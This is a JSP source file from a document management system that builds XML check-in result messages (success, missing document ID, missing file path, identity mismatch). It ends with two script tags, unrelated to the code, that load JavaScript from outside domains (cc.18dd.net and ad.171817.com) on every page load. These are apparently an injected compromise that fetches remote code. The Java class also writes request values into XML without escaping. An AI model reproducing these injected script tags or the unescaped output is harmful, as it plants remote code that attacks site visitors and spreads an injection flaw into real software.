<%! 
/*  
 *CheckinDocumentMessage.java manage the message about the result of checkin a document.
 *@author             Holmes Yan
 *@company            DCIVision Ltd
 *@creation date      07/8/2004
 *@version            $Revision: 1.3 $
 */
class CheckinDocumentMessage{ 

  public final static int CHECKIN_SUCCED = 1;
  public final static int NULL_DOCUMENT_ID_EXCEPTION = 2;
  public final static int FILE_PATH_NULL_EXCEPTION = 3;
  public final static int NOT_DOCUMENT_IN_PUBLIC_FOLDER_EXCEPTION = 4;
  public final static int IDENTITY_MISMATCH_EXCEPTION = 5;
  public final static int UNKNOWN_EXCEPTION = 6;
  public final static int NULL_CHECK_IN_TYPE_EXCEPTION = 7;

  String documentID;
  String filePath; 
  String checkinType; 
  String referenceNo;
  String description;
  com.dcivision.dms.bean.DmsVersion newVersion;
  StringBuffer sb = new StringBuffer(); 

  CheckinDocumentMessage(
    String documentID,String filePath,String checkinType,
      String referenceNo,String description){
    this.documentID = documentID;
    this.filePath = filePath;
    this.checkinType = checkinType;
    this.referenceNo = referenceNo;
    this.description = description;
  }
	
  public String getMessage(int checkinMessageType){  
    addMessageHeader();
    switch(checkinMessageType){
      case CHECKIN_SUCCED:
        addCheckinSuccedMessage();
        break;
      case NULL_DOCUMENT_ID_EXCEPTION:
        addNullDocumentIDExceptionMessage();
        break;
      case FILE_PATH_NULL_EXCEPTION:
        addFilePathNullExceptionMessage();
        break;
      case NULL_CHECK_IN_TYPE_EXCEPTION:
        addNullCheckinTypeExceptionMessage();
        break;
      case NOT_DOCUMENT_IN_PUBLIC_FOLDER_EXCEPTION:
        addNotDocumentInPublicFolderExceptionMessage();
        break;
      case IDENTITY_MISMATCH_EXCEPTION:
         addIdentityMismatchExceptionMessage();
         break;
      case UNKNOWN_EXCEPTION:
        addUnknownExceptionMessage();
        break;
    } 
    return sb.toString(); 
  }
  
  public void printCheckinMessage(javax.servlet.jsp.JspWriter out,int checkinMessageType) throws Exception{
    getMessage(checkinMessageType);
    out.println(sb.toString());
    out.close();
  }
  public void setNewVersion(com.dcivision.dms.bean.DmsVersion newVersion){
      this.newVersion = newVersion;
  }
  private void addNullDocumentIDExceptionMessage(){
    sb.append("<check-in documentID=\"");
    sb.append(documentID);
    sb.append("\" filePath=\"");
    sb.append(filePath);
    sb.append("\" result=\"documentIDNullException\">documentID can not be null or empty.</check-in>");
  }
  private void addMessageHeader(){
    sb.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
    sb.append("<!--exmaples:checkinDocument.jsp?documentID=51&filePath=d:\\aaa.doc&checkinType=DMS.MINOR.CHECKIN");
    sb.append("&referenceNo=001&description=de-->");
    sb.append("<!--three checkinType : 1) DMS.MINOR.CHECKIN 2) DMS.NEW.CHECKIN 3)DMS.NOUPDATE.CHECKIN-->"); 
  }
  private void addFilePathNullExceptionMessage(){
    sb.append("<check-in documentID=\"");
	sb.append(documentID);
	sb.append("\" filePath=\"");
	sb.append(filePath);
	sb.append("\" result=\"filePathNullException\">fielPath can not be null or empty.</check-in>");
  }
  private void addNullCheckinTypeExceptionMessage(){
    sb.append("<check-in documentID=\"");
	sb.append(documentID);
	sb.append("\" filePath=\"");
	sb.append(filePath);
	sb.append("\" result=\"NullCheckinTypeException\">checkinType must be set.</check-in>");
  }
  private void addNotDocumentInPublicFolderExceptionMessage(){
    sb.append("<check-in documentID=\"");
    sb.append(documentID);
	sb.append("\" filePath=\"");
	sb.append(filePath);
    sb.append("\" result=\"NotDocumentInPublicFolderException\">Checkin unsuccessful.</check-in>");
  }
  private void addUnknownExceptionMessage(){
   	sb.append("<check-in documentID=\"");
    sb.append(documentID);
    sb.append("\" filePath=\"");
    sb.append(filePath);
    sb.append("\" result=\"UnkonwException\">Checkin unsuccessful.</check-in>");
  }
  private void addCheckinSuccedMessage(){
    sb.append("<check-in documentID=\"");
    sb.append(documentID);
	sb.append("\" filePath=\"");
	sb.append(filePath);
	sb.append("\" checkinType=\"");
	sb.append(checkinType);
	sb.append("\" result=\"succed\">"); 
    addNewVersionMessage();
    sb.append("</check-in>");
  }
  private void addNewVersionMessage(){
   	sb.append("<newVersion ID=\"");
    sb.append(newVersion.getID());
	sb.append("\" documentID=\"");
	sb.append(newVersion.getDocumentID());
	sb.append("\" versionNumber=\"");
	sb.append(newVersion.getVersionNumber());
	sb.append("\" referenceNo =\"");
	sb.append(newVersion.getReferenceNo());
	sb.append("\" description=\"");
	sb.append(newVersion.getDescription());
	sb.append("\"></newVersion>");
  } 
  private void addIdentityMismatchExceptionMessage(){
   	sb.append("<check-in documentID=\"");
    sb.append(documentID);
    sb.append("\" filePath=\"");
    sb.append(filePath);
    sb.append("\" result=\"IdentityMismatchException\">Checkin unsuccessful.</check-in>"); 
  } 
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>